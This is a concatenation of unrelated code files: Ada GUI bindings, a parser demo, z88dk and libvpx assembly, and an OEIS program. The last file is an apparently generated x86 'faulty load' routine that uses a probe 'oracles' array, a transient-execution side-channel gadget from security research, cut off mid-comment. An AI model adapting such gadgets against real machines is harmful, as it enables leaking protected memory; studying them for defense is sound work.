ID.Value'Image); Widget.Radio (I).Label.Create (Form => Form (Row, Adjusted (Row, Column) ), Label_For => Widget.Radio (I).Button, Content => To_String (Label (I) ), Auto_Place => False); if I < Label'Last and Orientation = Vertical then Form (Row, Adjusted (Row, Column) ).New_Line; end if; end loop All_Buttons; Widget_List.Append (New_Item => Widget); return ID; end New_Radio_Buttons; function New_Selection_List (Row : Positive := 1; Column : Positive := 1; Text : Text_List := (1 .. 0 => <>); Break_Before : Boolean := False; Height : Positive := 1; Multiple_Select : Boolean := False) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Selection_List); begin -- New_Selection_List Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Selector := new Gnoga.Gui.Element.Form.Selection_Type; Widget.Selector.Create (Form => Form (Row, Adjusted (Row, Column) ), Multiple_Select => Multiple_Select, Visible_Lines => Height, ID => ID.Value'Image); Widget.Multi := Multiple_Select; Widget_List.Append (New_Item => Widget); Add_Options : for I in Text'Range loop Widget.Selector.Add_Option (Value => To_String (Text (I) ), Text => To_String (Text (I) ) ); end loop Add_Options; return ID; end New_Selection_List; function New_Text_Area (Row : Positive := 1; Column : Positive := 1; Text : String := ""; Break_Before : Boolean := False; Width : Positive := 20; Height : Positive := 2) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Text_Area); begin -- New_Text_Area Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Area := new Gnoga.Gui.Element.Form.Text_Area_Type; Widget.Area.Create (Form => Form (Row, Adjusted (Row, Column) ), Columns => Width, Rows => Height, Value => Text, ID => ID.Value'Image); Widget_List.Append (New_Item => Widget); return ID; end New_Text_Area; function New_Text_Box (Row : Positive := 1; Column : Positive := 1; Text : String := ""; Break_Before : Boolean := False; Label : String := ""; Placeholder : String := ""; Width : Positive := 20) return Widget_ID is ID : constant Widget_ID := (Value => Widget_List.Last_Index + 1); Widget : Widget_Info (Kind => Text_Box); begin -- New_Text_Box Break (Desired => Break_Before, Row => Row, Column => Adjusted (Row, Column) ); Widget.Box := new Gnoga.Gui.Element.Form.Text_Type; Widget.Box.Create (Form => Form (Row, Adjusted (Row, Column) ), Size => Width, Value => Text, ID => ID.Value'Image); Widget.Box_Label := new Gnoga.Gui.Element.Form.Label_Type; Widget.Box_Label.Create (Form => Form (Row, Adjusted (Row, Column) ), Label_For => Widget.Box.all, Content => Label); if Placeholder /= "" then Widget.Box.Place_Holder (Value => Placeholder); end if; Widget_List.Append (New_Item => Widget); return ID; end New_Text_Box; procedure Set_Title (Title : in String) is -- Empty begin -- Set_Title Window.Document.Title (Value => Title); end Set_Title; procedure Show_Message_Box (Text : in String) is -- Empty begin -- Show_Message_Box Window.Alert (Message => Text); end Show_Message_Box; protected File_Selection_Control is -- Controls multiple calls to Selected_File and calls to Next_Event while a call to procedure Set_Selecting (Value : in Boolean); -- Selected_File is in progress -- Makes Selecting return Value function Selecting return Boolean; -- Returns the last value passed to Set_Selecting; False initially entry Block; -- Blocks the caller until not Selecting private -- File_Selection_Control In_Progress : Boolean := False; end File_Selection_Control; function Next_Event (Timeout : Duration := Duration'Last) return Next_Result_Info is separate; procedure Set_Visibility (ID : in Widget_ID; Visible : in Boolean := True) is Widget : Widget_Info renames Widget_List (ID.Value); begin -- Set_Visibility case Widget.Kind is when Audio_Player => Widget.Audio.Visible (Value => Visible); when Background_Text => Widget.Background.Visible (Value => Visible); when Button => Widget.Switch.Visible (Value => Visible); when Check_Box => Widget.Check.Visible (Value => Visible); Widget.Check_Label.Visible (Value => Visible); when Graphic_Area => Widget.Canvas.Visible (Value => Visible); when Password_Box => Widget.Password.Visible (Value => Visible); Widget.Password_Label.Visible (Value => Visible); when Radio_Buttons => All_Buttons : for I in Widget.Radio'Range loop Widget.Radio (I).Button.Visible (Value => Visible); Widget.Radio (I).Label.Visible (Value => Visible); end loop All_Buttons; when Selection_List => Widget.Selector.Visible (Value => Visible); when Text_Area => Widget.Area.Visible (Value => Visible); when Text_Box => Widget.Box.Visible (Value => Visible); Widget.Box_Label.Visible (Value => Visible); end case; end Set_Visibility; function Selected_File (Initial_Directory : in String := ".") return File_Result_Info is separate; protected body File_Selection_Control is procedure Set_Selecting (Value : in Boolean) is -- Empty begin -- Set_Selecting In_Progress := Value; end Set_Selecting; function Selecting return Boolean is (In_Progress); entry Block when not In_Progress is -- Empty begin -- Block null; end Block; end File_Selection_Control; procedure Set_Source (ID : in Widget_ID; Source : in String) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Source Widget.Audio.Media_Source (Source => Source); end Set_Source; function Source (ID : Widget_ID) return String is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Source return Widget.Audio.Media_Source; end Source; function Ready (ID : Widget_ID) return Boolean is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Ready return Widget.Audio.Ready_To_Play; end Ready; procedure Play (ID : in Widget_ID) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Play Widget.Audio.Play; end Play; procedure Pause (ID : in Widget_ID) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Pause Widget.Audio.Pause; end Pause; function Paused (ID : Widget_ID) return Boolean is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Paused return Widget.Audio.Paused; end Paused; function Playback_Ended (ID : Widget_ID) return Boolean is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Playback_Ended return Widget.Audio.Playback_Ended; end Playback_Ended; function Length (ID : Widget_ID) return Float is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Length return Widget.Audio.Media_Duration; end Length; procedure Set_Position (ID : in Widget_ID; Position : in Float) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Position Widget.Audio.Media_Position (Seconds => Position); end Set_Position; function Position (ID : Widget_ID) return Float is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Position return Widget.Audio.Media_Position; end Position; procedure Set_Text (ID : in Widget_ID; Text : in String) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Text case Widget.Kind is when Background_Text => Widget.Background.Text (Value => Text); when Button => Widget.Switch.Text (Value => Text); when Password_Box => Widget.Password.Value (Value => Text); when Text_Area => Widget.Area.Value (Value => Text); when Text_Box => Widget.Box.Value (Value => Text); when others => raise Program_Error; end case; end Set_Text; procedure Set_Text_Aligbnment (ID : in Widget_ID; Alignment : in Alignment_ID) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Text_Aligbnment case Widget.Kind is when Background_Text => Widget.Background.Text_Alignment (Value => Converted (Alignment) ); when Button => Widget.Switch.Text_Alignment (Value => Converted (Alignment) ); when Password_Box => Widget.Password.Text_Alignment (Value => Converted (Alignment) ); when Selection_List => Widget.Selector.Text_Alignment (Value => Converted (Alignment) ); when Text_Area => Widget.Area.Text_Alignment (Value => Converted (Alignment) ); when Text_Box => Widget.Box.Text_Alignment (Value => Converted (Alignment) ); when others => raise Program_Error; end case; end Set_Text_Aligbnment; procedure Set_Text_Font_Kind (ID : in Widget_ID; Kind : in Font_Kind_ID) is function Family return String is (if Kind = Proportional then "sans-serif" else "monospace"); Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Text_Font_Kind case Widget.Kind is when Background_Text => Widget.Background.Font (Family => Family); when Button => Widget.Switch.Font (Family => Family); when Password_Box => Widget.Password.Font (Family => Family); when Selection_List => Widget.Selector.Font (Family => Family); when Text_Area => Widget.Area.Font (Family => Family); when Text_Box => Widget.Box.Font (Family => Family); when others => raise Program_Error; end case; end Set_Text_Font_Kind; function Multiple_Select (ID : Widget_ID) return Boolean is (Widget_List (ID.Value).Element.Multi); function Text (ID : Widget_ID) return String is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Text case Widget.Kind is when Background_Text => return Widget.Background.Text; when Button => return Widget.Switch.Text; when Password_Box => return Widget.Password.Value; when Selection_List => return Widget.Selector.Value; when Text_Area => return Widget.Area.Value; when Text_Box => return Widget.Box.Value; when others => raise Program_Error; end case; end Text; procedure Set_Active (ID : in Widget_ID; Active : in Boolean) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Active Widget.Check.Checked (Value => Active); end Set_Active; function Active (ID : Widget_ID) return Boolean is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Active return Widget.Check.Checked; end Active; function AG_Color (Color : Gnoga.RGBA_Type) return Color_Info is (Red => RGB_Value (Color.Red), Green => RGB_Value (Color.Green), Blue => RGB_Value (Color.Blue), Alpha => Alpha_Value (Color.Alpha) ); function To_Color (Color : Color_ID) return Color_Info is (AG_Color (Gnoga.Colors.To_RGBA (Gnoga.Colors.Color_Enumeration'Val (Color_ID'Pos (Color) ) ) ) ); function Gnoga_Color (Color : Color_Info) return Gnoga.RGBA_Type is (Red => Gnoga.Color_Type (Color.Red), Green => Gnoga.Color_Type (Color.Green), Blue => Gnoga.Color_Type (Color.Blue), Alpha => Gnoga.Alpha_Type (Color.Alpha) ); function To_ID (Color : Color_Info) return Color_ID is (Color_ID'Val (Gnoga.Colors.Color_Enumeration'Pos (Gnoga.Colors.To_Color_Enumeration (Gnoga_Color (Color) ) ) ) ); function Gnoga_Pixel (Color : Color_Info) return Gnoga.Pixel_Type is (Red => Gnoga.Color_Type (Color.Red), Green => Gnoga.Color_Type (Color.Green), Blue => Gnoga.Color_Type (Color.Blue), Alpha => Gnoga.Color_Type (255.0 * Color.Alpha) ); procedure Set_Background_Color (Color : in Color_Info) is -- Empty begin -- Set_Background_Color View.Background_Color (RGBA => Gnoga_Color (Color) ); All_Rows : for Row in Form'Range (1) loop All_Columns : for Column in Form'Range (2) loop if Valid (Row) (Column) then Form (Row, Column).Background_Color (RGBA => Gnoga_Color (Color) ); end if; end loop All_Columns; end loop All_Rows; end Set_Background_Color; procedure Set_Background_Color (ID : Widget_ID; Color : in Color_Info := To_Color (Black) ) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Background_Color case Widget.Kind is when Audio_Player => Widget.Audio.Background_Color (RGBA => Gnoga_Color (Color) ); when Background_Text => Widget.Background.Background_Color (RGBA => Gnoga_Color (Color) ); when Button => Widget.Switch.Background_Color (RGBA => Gnoga_Color (Color) ); when Check_Box => Widget.Check.Background_Color (RGBA => Gnoga_Color (Color) ); Widget.Check_Label.Background_Color (RGBA => Gnoga_Color (Color) ); when Graphic_Area => Widget.Canvas.Background_Color (RGBA => Gnoga_Color (Color) ); when Password_Box => Widget.Password.Background_Color (RGBA => Gnoga_Color (Color) ); Widget.Password_Label.Background_Color (RGBA => Gnoga_Color (Color) ); when Radio_Buttons => All_Buttons : for I in Widget.Radio'Range loop Widget.Radio (I).Button.Background_Color (RGBA => Gnoga_Color (Color) ); Widget.Radio (I).Label.Background_Color (RGBA => Gnoga_Color (Color) ); end loop All_Buttons; when Selection_List => Widget.Selector.Background_Color (RGBA => Gnoga_Color (Color) ); when Text_Area => Widget.Area.Background_Color (RGBA => Gnoga_Color (Color) ); when Text_Box => Widget.Box.Background_Color (RGBA => Gnoga_Color (Color) ); Widget.Box_Label.Background_Color (RGBA => Gnoga_Color (Color) ); end case; end Set_Background_Color; procedure Set_Foreground_Color (ID : Widget_ID; Color : in Color_Info := To_Color (Black) ) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Foreground_Color case Widget.Kind is when Audio_Player => Widget.Audio.Color (RGBA => Gnoga_Color (Color) ); when Background_Text => Widget.Background.Color (RGBA => Gnoga_Color (Color) ); when Button => Widget.Switch.Color (RGBA => Gnoga_Color (Color) ); when Check_Box => Widget.Check.Color (RGBA => Gnoga_Color (Color) ); Widget.Check_Label.Color (RGBA => Gnoga_Color (Color) ); when Graphic_Area => Widget.Canvas.Color (RGBA => Gnoga_Color (Color) ); when Password_Box => Widget.Password.Color (RGBA => Gnoga_Color (Color) ); Widget.Password_Label.Color (RGBA => Gnoga_Color (Color) ); when Radio_Buttons => All_Buttons : for I in Widget.Radio'Range loop Widget.Radio (I).Button.Color (RGBA => Gnoga_Color (Color) ); Widget.Radio (I).Label.Color (RGBA => Gnoga_Color (Color) ); end loop All_Buttons; when Selection_List => Widget.Selector.Color (RGBA => Gnoga_Color (Color) ); when Text_Area => Widget.Area.Color (RGBA => Gnoga_Color (Color) ); when Text_Box => Widget.Box.Color (RGBA => Gnoga_Color (Color) ); Widget.Box_Label.Color (RGBA => Gnoga_Color (Color) ); end case; end Set_Foreground_Color; procedure Set_Pixel (ID : in Widget_ID; X : in Integer; Y : in Integer; Color : in Color_Info := To_Color (Black) ) is G_Color : constant Gnoga.Pixel_Type := Gnoga_Pixel (Color); Widget : Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; begin -- Set_Pixel Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); Context.Pixel (X => X, Y => Y, Color => G_Color); end Set_Pixel; function AG_Color (Color : Gnoga.Pixel_Type) return Color_Info is (Red => RGB_Value (Color.Red), Green => RGB_Value (Color.Green), Blue => RGB_Value (Color.Blue), Alpha => Float (Color.Alpha) / 255.0); function Pixel (ID : Widget_ID; X : Integer; Y : Integer) return Color_Info is Widget : constant Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; G_Color : Gnoga.Pixel_Type; begin -- Pixel_Type Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); G_Color := Context.Pixel (X, Y); return AG_Color (G_Color); end Pixel; procedure Draw_Line (ID : in Widget_ID; From_X : in Integer; From_Y : in Integer; To_X : in Integer; To_Y : in Integer; Width : in Positive := 1; Color : in Color_Info := To_Color (Black) ) is G_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Color); Widget : Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; begin -- Draw_Line Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); Context.Stroke_Color (Value => G_Color); Context.Line_Width (Value => Width); Context.Begin_Path; Context.Move_To (X => From_X, Y => From_Y); Context.Line_To (X => To_X, Y => To_Y); Context.Stroke; end Draw_Line; procedure Draw_Rectangle (ID : in Widget_ID; From_X : in Integer; From_Y : in Integer; To_X : in Integer; To_Y : in Integer; Line_Color : in Optional_Color := (None => False, Color => To_Color (Black) ); Fill_Color : in Optional_Color := (None => True) ) is Widget : Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; begin -- Draw_Rectangle Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); Context.Line_Width (Value => 1); Context.Begin_Path; Context.Rectangle (Rectangle => (X => Integer'Min (From_X, To_X), Y => Integer'Min (From_Y, To_Y), Width => abs (From_X - To_X) + 1, Height => abs (From_Y - To_Y) + 1) ); if not Fill_Color.None then Convert_Fill : declare F_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Fill_Color.Color); begin -- Convert_Fill Context.Fill_Color (Value => F_Color); Context.Fill; end Convert_Fill; end if; if not Line_Color.None then Convert_Line : declare L_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Line_Color.Color); begin -- Convert_Line Context.Stroke_Color (Value => L_Color); Context.Stroke; end Convert_Line; end if; end Draw_Rectangle; procedure Draw_Arc (ID : in Widget_ID; X : in Integer; Y : in Integer; Radius : in Positive; Start : in Float; Stop : in Float; Counter_Clockwise : in Boolean := False; Line_Color : in Optional_Color := (None => False, Color => To_Color (Black) ); Fill_Color : in Optional_Color := (None => True) ) is Widget : Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; begin -- Draw_Arc Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); Context.Line_Width (Value => 1); Context.Begin_Path; if not Fill_Color.None then Context.Move_To (X => X, Y => Y); Context.Line_To (X => X + Integer (Float (Radius) * Ada.Numerics.Elementary_Functions.Cos (Start) ), Y => Y + Integer (Float (Radius) * Ada.Numerics.Elementary_Functions.Sin (Start) ) ); end if; Context.Arc_Radians (X => X, Y => Y, Radius => Radius, Starting_Angle => Start, Ending_Angle => Stop, Counter_Clockwise => Counter_Clockwise); if not Fill_Color.None then Convert_Fill : declare F_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Fill_Color.Color); begin -- Convert_Fill Context.Close_Path; Context.Fill_Color (Value => F_Color); Context.Fill; end Convert_Fill; end if; if not Line_Color.None then Convert_Line : declare L_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Line_Color.Color); begin -- Convert_Line Context.Stroke_Color (Value => L_Color); Context.Stroke; end Convert_Line; end if; end Draw_Arc; procedure Draw_Text (ID : in Widget_ID; X : in Integer; Y : in Integer; Text : in String; Height : in Positive := 20; Line_Color : in Optional_Color := (None => True); Fill_Color : in Optional_Color := (None => False, Color => To_Color (Black) ) ) is Widget : Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; begin -- Draw_Text Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); Context.Font (Height => Height'Image & "px"); Context.Line_Width (Value => 1); if not Fill_Color.None then Convert_Fill : declare F_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Fill_Color.Color); begin -- Convert_Fill Context.Fill_Color (Value => F_Color); Context.Fill_Text (Text => Text, X => X, Y => Y); end Convert_Fill; end if; if not Line_Color.None then Convert_Line : declare L_Color : constant Gnoga.RGBA_Type := Gnoga_Color (Line_Color.Color); begin -- Convert_Line Context.Stroke_Color (Value => L_Color); Context.Stroke_Text (Text => Text, X => X, Y => Y); end Convert_Line; end if; end Draw_Text; procedure Replace_Pixels (ID : in Widget_ID; Image : in Widget_ID; X : in Integer; Y : in Integer) is Widget : Widget_Info := Widget_List (ID.Value); Context : Gnoga.Gui.Element.Canvas.Context_2D.Context_2D_Type; begin -- Replace_Pixels Context.Get_Drawing_Context_2D (Canvas => Widget.Canvas.all); Context.Draw_Image (Image => Widget_List (Image.Value).Canvas.all, X => X, Y => Y); end Replace_Pixels; function Num_Buttons (ID : Widget_ID) return Positive is (Widget_List (ID.Value).Radio'Length); procedure Set_Active (ID : in Widget_ID; Index : in Positive; Active : in Boolean) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Active Widget.Radio (Index).Button.Checked (Value => Active); end Set_Active; function Active (ID : Widget_ID; Index : Positive) return Boolean is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Active return Widget.Radio (Index).Button.Checked; end Active; function Active (ID : Widget_ID) return Positive is Widget : constant Widget_Info := Widget_List (ID.Value); begin -- Active Check : for I in Widget.Radio'Range loop if Widget.Radio (I).Button.Checked then return I; end if; end loop Check; return Widget.Radio'Length + 1; end Active; function Length (ID : Widget_ID) return Natural is Widget : Widget_Info := Widget_List (ID.Value); begin -- Length return Widget.Selector.Length; end Length; procedure Clear (ID : in Widget_ID) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Clear Widget.Selector.Empty_Options; end Clear; procedure Set_Selected (ID : in Widget_ID; Index : in Positive; Selected : in Boolean := True) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Set_Selected Widget.Selector.Selected (Index => Index, Value => Selected); end Set_Selected; function Selected (ID : Widget_ID) return Natural is Widget : Widget_Info := Widget_List (ID.Value); begin -- Selected return Widget.Selector.Selected_Index; end Selected; function Selected (ID : Widget_ID; Index : Positive) return Boolean is Widget : Widget_Info := Widget_List (ID.Value); begin -- Selected return Widget.Selector.Selected (Index); end Selected; function Text (ID : Widget_ID; Index : Positive) return String is Widget : Widget_Info := Widget_List (ID.Value); begin -- Text return Widget.Selector.all.Value (Index); end Text; procedure Insert (ID : in Widget_ID; Text : in String; Before : in Positive := Integer'Last) is Widget : Widget_Info := Widget_List (ID.Value); Index : constant Natural := (if Before > Widget.Selector.Length then 0 else Before); begin -- Insert Widget.Selector.Add_Option (Value => Text, Text => Text, Index => Index); end Insert; procedure Delete (ID : in Widget_ID; Index : in Positive) is Widget : Widget_Info := Widget_List (ID.Value); begin -- Delete Widget.Selector.Remove_Option (Index => Index); end Delete; procedure End_GUI is -- Empty begin -- End_GUI Gnoga.Application.End_Application; Setup := False; end End_GUI; end Ada_Gui;
simple.adb
Lucretia/pc_tut
1
20032
with Ada.Containers; with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; with Ada.Text_IO; use Ada.Text_IO; with Parsing; use Parsing.Operators; procedure Simple is use type Ada.Containers.Count_Type; use type Parsing.Holder; -- Input : constant String := "ABZ"; -- Input : constant String := "ACZ"; -- Input : constant String := "QBZ"; -- Input : constant String := "AQZ"; -- Input : constant String := "aCZ"; -- Input : constant String := "1ABZ"; -- Input : constant String := "9ABZ"; Input : constant String := "|ABZ"; -- Parse_A : aliased Parsing.Parse_Character (Match => 'A'); -- Parse_B : aliased Parsing.Parse_Character (Match => 'B'); -- Parse_C : aliased Parsing.Parse_Character (Match => 'C'); Parse_A : Parsing.Holder := Parsing.Character_Parser (Match => 'A'); Parse_B : Parsing.Holder := Parsing.Character_Parser (Match => 'B'); Parse_C : Parsing.Holder := Parsing.Character_Parser (Match => 'C'); Parse_B_Or_Else_C : Parsing.Holder := Parsing.To_Holder (Parse_B or Parse_C); Parse_A_And_Then_B_Or_C : Parsing.Parse_And_Then := (Parse_A and Parse_B_Or_Else_C); Parse_Lowercase : Parsing.Parse_Character_Range := Parsing.Parse_Character_Range'(Match_From => 'a', Match_To => 'z'); Parse_Digits : Parsing.Parse_Character_Range := Parsing.Parse_Character_Range'(Match_From => '0', Match_To => '9'); -- Result : Parsing.Result'Class := Parse_A_And_Then_B_Or_C.Parse (Input); -- Result : Parsing.Result'Class := Parse_Lowercase.Parse (Input); Result : Parsing.Result'Class := Parse_Digits.Parse (Input); procedure Print_Result (R : Parsing.Result'Class) is First : Boolean := True; begin if R in Parsing.Success'Class then Put ("Success ("); for I of Parsing.Success (R).Matched loop if I.Length = 1 then Put ("'" & I.First_Element & "'"); else Put ("("); for C of I loop if First then Put ("'" & C & "'"); First := not First; else Put (", '" & C & "'"); end if; end loop; Put (")"); end if; -- Parsing.Single (Parsing.Success (R).Matched.First_Element).A end loop; Put_Line (", """ & To_String (Parsing.Success (R).Remaining) & """)"); elsif R in Parsing.Failure'Class then Put_Line ("Failure " & To_String (Parsing.Failure (R).Message)); end if; end Print_Result; begin Print_Result (Result); end Simple;
libsrc/fcntl/trs80/trsdos_tst.asm
jpoikela/z88dk
38
100761
<filename>libsrc/fcntl/trs80/trsdos_tst.asm SECTION code_clib PUBLIC trsdos_tst PUBLIC _trsdos_tst EXTERN trsdos_tst_callee EXTERN ASMDISP_TRSDOS_TST_CALLEE ; (unsigned int fn, char *hl_reg, char *de_reg); .trsdos_tst ._trsdos_tst POP BC ; ret addr POP DE POP HL POP IX PUSH IX PUSH HL PUSH DE PUSH BC jp trsdos_tst_callee + ASMDISP_TRSDOS_TST_CALLEE
libsrc/_DEVELOPMENT/adt/wv_priority_queue/c/sdcc_iy/wv_priority_queue_pop.asm
meesokim/z88dk
0
94249
; void *wv_priority_queue_pop(wv_priority_queue_t *q) SECTION code_adt_wv_priority_queue PUBLIC _wv_priority_queue_pop EXTERN _wa_priority_queue_pop defc _wv_priority_queue_pop = _wa_priority_queue_pop
third_party/libvpx/source/config/linux/ia32/vpx_config.asm
roisagiv/webrtc-ndk
1
7683
<filename>third_party/libvpx/source/config/linux/ia32/vpx_config.asm ARCH_ARM equ 0 ARCH_MIPS equ 0 ARCH_X86 equ 1 ARCH_X86_64 equ 0 ARCH_PPC32 equ 0 ARCH_PPC64 equ 0 HAVE_ARMV5TE equ 0 HAVE_ARMV6 equ 0 HAVE_ARMV7 equ 0 HAVE_IWMMXT equ 0 HAVE_IWMMXT2 equ 0 HAVE_MIPS32 equ 0 HAVE_MMX equ 1 HAVE_SSE equ 1 HAVE_SSE2 equ 1 HAVE_SSE3 equ 1 HAVE_SSSE3 equ 1 HAVE_SSE4_1 equ 1 HAVE_ALTIVEC equ 0 HAVE_VPX_PORTS equ 1 HAVE_STDINT_H equ 1 HAVE_ALT_TREE_LAYOUT equ 0 HAVE_PTHREAD_H equ 1 HAVE_SYS_MMAN_H equ 1 CONFIG_EXTERNAL_BUILD equ 0 CONFIG_INSTALL_DOCS equ 0 CONFIG_INSTALL_BINS equ 1 CONFIG_INSTALL_LIBS equ 1 CONFIG_INSTALL_SRCS equ 0 CONFIG_DEBUG equ 0 CONFIG_GPROF equ 0 CONFIG_GCOV equ 0 CONFIG_RVCT equ 0 CONFIG_GCC equ 1 CONFIG_MSVS equ 0 CONFIG_PIC equ 1 CONFIG_BIG_ENDIAN equ 0 CONFIG_CODEC_SRCS equ 0 CONFIG_DEBUG_LIBS equ 0 CONFIG_FAST_UNALIGNED equ 1 CONFIG_MEM_MANAGER equ 0 CONFIG_MEM_TRACKER equ 0 CONFIG_MEM_CHECKS equ 0 CONFIG_MD5 equ 1 CONFIG_DEQUANT_TOKENS equ 0 CONFIG_DC_RECON equ 0 CONFIG_RUNTIME_CPU_DETECT equ 1 CONFIG_POSTPROC equ 1 CONFIG_MULTITHREAD equ 1 CONFIG_PSNR equ 0 CONFIG_VP8_ENCODER equ 1 CONFIG_VP8_DECODER equ 1 CONFIG_VP8 equ 1 CONFIG_ENCODERS equ 1 CONFIG_DECODERS equ 1 CONFIG_STATIC_MSVCRT equ 0 CONFIG_SPATIAL_RESAMPLING equ 1 CONFIG_REALTIME_ONLY equ 0 CONFIG_SHARED equ 0 CONFIG_SMALL equ 0 CONFIG_POSTPROC_VISUALIZER equ 0 CONFIG_OS_SUPPORT equ 1
oeis/099/A099588.asm
neoneye/loda-programs
11
243801
; A099588: Coefficient of x^2 in (1+x)^n mod 1+x^4. ; Submitted by <NAME> ; 0,0,1,3,6,10,14,14,0,-48,-164,-396,-792,-1352,-1912,-1912,0,6528,22288,53808,107616,183712,259808,259808,0,-887040,-3028544,-7311552,-14623104,-24963200,-35303296,-35303296,0,120532992,411525376,993510144,1987020288,3392055808,4797091328,4797091328,0,-16378294272,-55918994432,-135000394752,-270000789504,-460920178688,-651839567872,-651839567872,0,2225519493120,7598398836736,18344157523968,36688315047936,62630871408640,88573427769344,88573427769344,0,-302408598355968,-1032487537885184 mov $1,5 mov $3,5 lpb $0 sub $0,1 add $2,$3 sub $4,$3 sub $3,$1 add $1,$3 add $4,$2 add $1,$4 mul $4,2 lpe mov $0,$4 div $0,10
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1371.asm
ljhsiun2/medusa
9
2533
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x1c8b, %r12 nop nop nop inc %rsi movw $0x6162, (%r12) nop nop nop nop cmp %rbx, %rbx lea addresses_D_ht+0x1d478, %r15 nop nop nop nop dec %rdi vmovups (%r15), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rcx nop nop sub %r15, %r15 lea addresses_WC_ht+0xf578, %rsi lea addresses_WT_ht+0x5978, %rdi clflush (%rsi) nop nop nop nop nop sub $36283, %rbp mov $31, %rcx rep movsw cmp %r8, %r8 lea addresses_UC_ht+0x15e45, %rsi lea addresses_UC_ht+0xdd78, %rdi nop xor $30071, %rbp mov $114, %rcx rep movsw nop nop nop nop add $22596, %rbp lea addresses_D_ht+0x7178, %rsi nop nop sub %rbp, %rbp mov $0x6162636465666768, %r12 movq %r12, (%rsi) cmp %r8, %r8 lea addresses_A_ht+0x1c918, %rbx nop nop xor %rsi, %rsi mov (%rbx), %r8 nop nop nop nop sub $15001, %rsi lea addresses_normal_ht+0x13578, %rsi lea addresses_normal_ht+0x7038, %rdi nop nop nop sub %r15, %r15 mov $52, %rcx rep movsq nop nop nop nop nop add %r15, %r15 lea addresses_D_ht+0x6d79, %rsi lea addresses_WT_ht+0x5ce0, %rdi nop nop nop and %rbx, %rbx mov $81, %rcx rep movsq nop nop nop nop nop inc %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r8 push %rcx push %rdi push %rsi // REPMOV lea addresses_WT+0xd78, %rsi lea addresses_normal+0xc9a8, %rdi nop nop add $21131, %r13 mov $51, %rcx rep movsl nop nop nop nop cmp $65278, %rsi // Load lea addresses_RW+0xf378, %rsi nop nop nop dec %r8 movups (%rsi), %xmm5 vpextrq $0, %xmm5, %r13 nop nop nop dec %r13 // Faulty Load lea addresses_WT+0xd78, %rdi nop nop nop nop and %r13, %r13 mov (%rdi), %r8d lea oracles, %r10 and $0xff, %r8 shlq $12, %r8 mov (%r10,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_normal', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 